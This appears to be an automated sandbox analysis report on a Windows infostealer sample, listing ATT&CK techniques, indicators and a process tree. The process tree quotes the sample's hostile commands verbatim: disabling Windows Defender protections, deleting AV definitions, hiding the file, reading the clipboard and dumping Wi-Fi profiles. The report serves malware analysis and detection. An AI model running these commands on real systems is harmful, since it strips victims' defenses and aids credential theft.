1e152213721345459d7fcde9f109009843a5032cb4e5954d3a7ac0fe03ff3fb7

Resubmissions

27-12-2024 18:39

241227-xaxf5sxpf1 10

27-12-2024 18:33

241227-w68cvaxpdt 10

Analysis

max time kernel
429s
max time network
430s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
27-12-2024 18:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

index.exe
Size

6.9MB
MD5

37010674818bdcc9ef583a2b71c03f43
SHA1

cf2e8ee2a261a1651a97195cdf797cb89deb5265
SHA256

1e152213721345459d7fcde9f109009843a5032cb4e5954d3a7ac0fe03ff3fb7
SHA512

31f12d56c1d24f6a16374694e00c41ab38d515dad8f897aeddab9239e9abc07908825ec43137d1c2b0176e8b7417c41f43b391b3eccda5a740f812ad224c5005
SSDEEP

196608:VkV1v7dB6ylnlPzf+JiJCsmFMvln6hqg7:kRBRlnlPSa7mmvlpg7

Score

10^/10

collection credential_access defense_evasion discovery evasion execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1288	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4924	powershell.exe
3564	powershell.exe
1692	powershell.exe
1768	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	index.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1728	cmd.exe
3372	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1392	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe
524	index.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
4956	tasklist.exe
4084	tasklist.exe
1068	tasklist.exe
396	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4656	cmd.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00280000000461a2-21.dat	upx
behavioral1/memory/524-25-0x00007FFA31ED0000-0x00007FFA324BA000-memory.dmp	upx
behavioral1/files/0x0028000000046194-27.dat	upx
behavioral1/files/0x00280000000461a0-31.dat	upx
behavioral1/files/0x002800000004619c-48.dat	upx
behavioral1/files/0x0028000000046198-44.dat	upx
behavioral1/files/0x0028000000046195-42.dat	upx
behavioral1/files/0x0028000000046193-41.dat	upx
behavioral1/files/0x00280000000461a7-40.dat	upx
behavioral1/files/0x00280000000461a6-39.dat	upx
behavioral1/files/0x00280000000461a5-38.dat	upx
behavioral1/files/0x00280000000461a1-35.dat	upx
behavioral1/files/0x002800000004619f-34.dat	upx
behavioral1/memory/524-32-0x00007FFA4AB80000-0x00007FFA4AB8F000-memory.dmp	upx
behavioral1/files/0x002800000004619b-47.dat	upx
behavioral1/files/0x002800000004619a-46.dat	upx
behavioral1/files/0x0028000000046199-45.dat	upx
behavioral1/files/0x0028000000046196-43.dat	upx
behavioral1/memory/524-30-0x00007FFA45240000-0x00007FFA45263000-memory.dmp	upx
behavioral1/memory/524-54-0x00007FFA40530000-0x00007FFA4055D000-memory.dmp	upx
behavioral1/memory/524-56-0x00007FFA40510000-0x00007FFA40529000-memory.dmp	upx
behavioral1/memory/524-58-0x00007FFA404E0000-0x00007FFA40503000-memory.dmp	upx
behavioral1/memory/524-60-0x00007FFA401B0000-0x00007FFA4031F000-memory.dmp	upx
behavioral1/memory/524-62-0x00007FFA404C0000-0x00007FFA404D9000-memory.dmp	upx
behavioral1/memory/524-64-0x00007FFA46450000-0x00007FFA4645D000-memory.dmp	upx
behavioral1/memory/524-66-0x00007FFA40490000-0x00007FFA404BE000-memory.dmp	upx
behavioral1/memory/524-74-0x00007FFA45240000-0x00007FFA45263000-memory.dmp	upx
behavioral1/memory/524-78-0x00007FFA45230000-0x00007FFA4523D000-memory.dmp	upx
behavioral1/memory/524-80-0x00007FFA31170000-0x00007FFA3128C000-memory.dmp	upx
behavioral1/memory/524-77-0x00007FFA3D2F0000-0x00007FFA3D304000-memory.dmp	upx
behavioral1/memory/524-73-0x00007FFA31360000-0x00007FFA316D5000-memory.dmp	upx
behavioral1/memory/524-71-0x00007FFA39290000-0x00007FFA39348000-memory.dmp	upx
behavioral1/memory/524-70-0x00007FFA31ED0000-0x00007FFA324BA000-memory.dmp	upx
behavioral1/memory/524-81-0x00007FFA404E0000-0x00007FFA40503000-memory.dmp	upx
behavioral1/memory/524-167-0x00007FFA401B0000-0x00007FFA4031F000-memory.dmp	upx
behavioral1/memory/524-202-0x00007FFA404C0000-0x00007FFA404D9000-memory.dmp	upx
behavioral1/memory/524-264-0x00007FFA40490000-0x00007FFA404BE000-memory.dmp	upx
behavioral1/memory/524-278-0x00007FFA39290000-0x00007FFA39348000-memory.dmp	upx
behavioral1/memory/524-284-0x00007FFA31360000-0x00007FFA316D5000-memory.dmp	upx
behavioral1/memory/524-306-0x00007FFA45240000-0x00007FFA45263000-memory.dmp	upx
behavioral1/memory/524-311-0x00007FFA401B0000-0x00007FFA4031F000-memory.dmp	upx
behavioral1/memory/524-305-0x00007FFA31ED0000-0x00007FFA324BA000-memory.dmp	upx
behavioral1/memory/524-346-0x00007FFA45230000-0x00007FFA4523D000-memory.dmp	upx
behavioral1/memory/524-345-0x00007FFA39290000-0x00007FFA39348000-memory.dmp	upx
behavioral1/memory/524-344-0x00007FFA40490000-0x00007FFA404BE000-memory.dmp	upx
behavioral1/memory/524-343-0x00007FFA46450000-0x00007FFA4645D000-memory.dmp	upx
behavioral1/memory/524-342-0x00007FFA404C0000-0x00007FFA404D9000-memory.dmp	upx
behavioral1/memory/524-341-0x00007FFA401B0000-0x00007FFA4031F000-memory.dmp	upx
behavioral1/memory/524-340-0x00007FFA404E0000-0x00007FFA40503000-memory.dmp	upx
behavioral1/memory/524-339-0x00007FFA40510000-0x00007FFA40529000-memory.dmp	upx
behavioral1/memory/524-338-0x00007FFA40530000-0x00007FFA4055D000-memory.dmp	upx
behavioral1/memory/524-337-0x00007FFA4AB80000-0x00007FFA4AB8F000-memory.dmp	upx
behavioral1/memory/524-336-0x00007FFA45240000-0x00007FFA45263000-memory.dmp	upx
behavioral1/memory/524-335-0x00007FFA31360000-0x00007FFA316D5000-memory.dmp	upx
behavioral1/memory/524-334-0x00007FFA31170000-0x00007FFA3128C000-memory.dmp	upx
behavioral1/memory/524-332-0x00007FFA3D2F0000-0x00007FFA3D304000-memory.dmp	upx
behavioral1/memory/524-320-0x00007FFA31ED0000-0x00007FFA324BA000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4416	PING.EXE
4636	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1012	cmd.exe
1572	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4336	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4416	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4416	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe
1768	powershell.exe
1768	powershell.exe
3372	powershell.exe
3372	powershell.exe
3160	WMIC.exe
3160	WMIC.exe
3160	WMIC.exe
3160	WMIC.exe
3372	powershell.exe
1768	powershell.exe
2440	powershell.exe
2440	powershell.exe
2440	powershell.exe
3564	powershell.exe
3564	powershell.exe
4808	powershell.exe
4808	powershell.exe
1140	WMIC.exe
1140	WMIC.exe
1140	WMIC.exe
1140	WMIC.exe
3544	WMIC.exe
3544	WMIC.exe
3544	WMIC.exe
3544	WMIC.exe
2136	WMIC.exe
2136	WMIC.exe
2136	WMIC.exe
2136	WMIC.exe
1692	powershell.exe
1692	powershell.exe
4336	WMIC.exe
4336	WMIC.exe
4336	WMIC.exe
4336	WMIC.exe
116	powershell.exe
116	powershell.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	1068	tasklist.exe
Token: SeDebugPrivilege	4084	tasklist.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	396	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3160	WMIC.exe
Token: SeSecurityPrivilege	3160	WMIC.exe
Token: SeTakeOwnershipPrivilege	3160	WMIC.exe
Token: SeLoadDriverPrivilege	3160	WMIC.exe
Token: SeSystemProfilePrivilege	3160	WMIC.exe
Token: SeSystemtimePrivilege	3160	WMIC.exe
Token: SeProfSingleProcessPrivilege	3160	WMIC.exe
Token: SeIncBasePriorityPrivilege	3160	WMIC.exe
Token: SeCreatePagefilePrivilege	3160	WMIC.exe
Token: SeBackupPrivilege	3160	WMIC.exe
Token: SeRestorePrivilege	3160	WMIC.exe
Token: SeShutdownPrivilege	3160	WMIC.exe
Token: SeDebugPrivilege	3160	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3160	WMIC.exe
Token: SeRemoteShutdownPrivilege	3160	WMIC.exe
Token: SeUndockPrivilege	3160	WMIC.exe
Token: SeManageVolumePrivilege	3160	WMIC.exe
Token: 33	3160	WMIC.exe
Token: 34	3160	WMIC.exe
Token: 35	3160	WMIC.exe
Token: 36	3160	WMIC.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeIncreaseQuotaPrivilege	4924	powershell.exe
Token: SeSecurityPrivilege	4924	powershell.exe
Token: SeTakeOwnershipPrivilege	4924	powershell.exe
Token: SeLoadDriverPrivilege	4924	powershell.exe
Token: SeSystemProfilePrivilege	4924	powershell.exe
Token: SeSystemtimePrivilege	4924	powershell.exe
Token: SeProfSingleProcessPrivilege	4924	powershell.exe
Token: SeIncBasePriorityPrivilege	4924	powershell.exe
Token: SeCreatePagefilePrivilege	4924	powershell.exe
Token: SeBackupPrivilege	4924	powershell.exe
Token: SeRestorePrivilege	4924	powershell.exe
Token: SeShutdownPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeSystemEnvironmentPrivilege	4924	powershell.exe
Token: SeRemoteShutdownPrivilege	4924	powershell.exe
Token: SeUndockPrivilege	4924	powershell.exe
Token: SeManageVolumePrivilege	4924	powershell.exe
Token: 33	4924	powershell.exe
Token: 34	4924	powershell.exe
Token: 35	4924	powershell.exe
Token: 36	4924	powershell.exe
Token: SeIncreaseQuotaPrivilege	3160	WMIC.exe
Token: SeSecurityPrivilege	3160	WMIC.exe
Token: SeTakeOwnershipPrivilege	3160	WMIC.exe
Token: SeLoadDriverPrivilege	3160	WMIC.exe
Token: SeSystemProfilePrivilege	3160	WMIC.exe
Token: SeSystemtimePrivilege	3160	WMIC.exe
Token: SeProfSingleProcessPrivilege	3160	WMIC.exe
Token: SeIncBasePriorityPrivilege	3160	WMIC.exe
Token: SeCreatePagefilePrivilege	3160	WMIC.exe
Token: SeBackupPrivilege	3160	WMIC.exe
Token: SeRestorePrivilege	3160	WMIC.exe
Token: SeShutdownPrivilege	3160	WMIC.exe
Token: SeDebugPrivilege	3160	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3160	WMIC.exe
Token: SeRemoteShutdownPrivilege	3160	WMIC.exe

Suspicious use of FindShellTrayWindow 62 IoCs

pid	Process
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe

Suspicious use of SendNotifyMessage 62 IoCs

pid	Process
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe
1140	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4736 wrote to memory of 524	4736	index.exe	81
PID 4736 wrote to memory of 524	4736	index.exe	81
PID 524 wrote to memory of 2516	524	index.exe	83
PID 524 wrote to memory of 2516	524	index.exe	83
PID 524 wrote to memory of 3796	524	index.exe	84
PID 524 wrote to memory of 3796	524	index.exe	84
PID 524 wrote to memory of 4656	524	index.exe	85
PID 524 wrote to memory of 4656	524	index.exe	85
PID 524 wrote to memory of 2140	524	index.exe	89
PID 524 wrote to memory of 2140	524	index.exe	89
PID 524 wrote to memory of 992	524	index.exe	90
PID 524 wrote to memory of 992	524	index.exe	90
PID 3796 wrote to memory of 4924	3796	cmd.exe	93
PID 3796 wrote to memory of 4924	3796	cmd.exe	93
PID 992 wrote to memory of 1068	992	cmd.exe	94
PID 992 wrote to memory of 1068	992	cmd.exe	94
PID 2140 wrote to memory of 4084	2140	cmd.exe	95
PID 2140 wrote to memory of 4084	2140	cmd.exe	95
PID 4656 wrote to memory of 4468	4656	cmd.exe	96
PID 4656 wrote to memory of 4468	4656	cmd.exe	96
PID 524 wrote to memory of 2696	524	index.exe	97
PID 524 wrote to memory of 2696	524	index.exe	97
PID 524 wrote to memory of 1728	524	index.exe	98
PID 524 wrote to memory of 1728	524	index.exe	98
PID 524 wrote to memory of 840	524	index.exe	100
PID 524 wrote to memory of 840	524	index.exe	100
PID 524 wrote to memory of 1228	524	index.exe	103
PID 524 wrote to memory of 1228	524	index.exe	103
PID 2516 wrote to memory of 1768	2516	cmd.exe	102
PID 2516 wrote to memory of 1768	2516	cmd.exe	102
PID 524 wrote to memory of 1012	524	index.exe	104
PID 524 wrote to memory of 1012	524	index.exe	104
PID 524 wrote to memory of 3820	524	index.exe	105
PID 524 wrote to memory of 3820	524	index.exe	105
PID 524 wrote to memory of 4788	524	index.exe	108
PID 524 wrote to memory of 4788	524	index.exe	108
PID 524 wrote to memory of 4296	524	index.exe	110
PID 524 wrote to memory of 4296	524	index.exe	110
PID 1728 wrote to memory of 3372	1728	cmd.exe	115
PID 1728 wrote to memory of 3372	1728	cmd.exe	115
PID 4788 wrote to memory of 2348	4788	cmd.exe	116
PID 4788 wrote to memory of 2348	4788	cmd.exe	116
PID 524 wrote to memory of 1252	524	index.exe	117
PID 524 wrote to memory of 1252	524	index.exe	117
PID 840 wrote to memory of 396	840	cmd.exe	118
PID 840 wrote to memory of 396	840	cmd.exe	118
PID 2696 wrote to memory of 3160	2696	cmd.exe	119
PID 2696 wrote to memory of 3160	2696	cmd.exe	119
PID 4296 wrote to memory of 2440	4296	cmd.exe	121
PID 4296 wrote to memory of 2440	4296	cmd.exe	121
PID 1012 wrote to memory of 1572	1012	cmd.exe	122
PID 1012 wrote to memory of 1572	1012	cmd.exe	122
PID 3820 wrote to memory of 4416	3820	cmd.exe	123
PID 3820 wrote to memory of 4416	3820	cmd.exe	123
PID 1228 wrote to memory of 3996	1228	cmd.exe	124
PID 1228 wrote to memory of 3996	1228	cmd.exe	124
PID 524 wrote to memory of 2640	524	index.exe	125
PID 524 wrote to memory of 2640	524	index.exe	125
PID 1252 wrote to memory of 2072	1252	cmd.exe	162
PID 1252 wrote to memory of 2072	1252	cmd.exe	162
PID 524 wrote to memory of 2040	524	index.exe	129
PID 524 wrote to memory of 2040	524	index.exe	129
PID 2640 wrote to memory of 4568	2640	cmd.exe	131
PID 2640 wrote to memory of 4568	2640	cmd.exe	131

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2072	attrib.exe
2732	attrib.exe
4468	attrib.exe

C:\Users\Admin\AppData\Local\Temp\index.exe
"C:\Users\Admin\AppData\Local\Temp\index.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Users\Admin\AppData\Local\Temp\index.exe
  "C:\Users\Admin\AppData\Local\Temp\index.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\index.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\index.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4924
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\index.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4656
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\index.exe"
      4⤵
      Views/modifies file attributes
      PID:4468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:992
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:840
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1228
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3820
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4788
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand 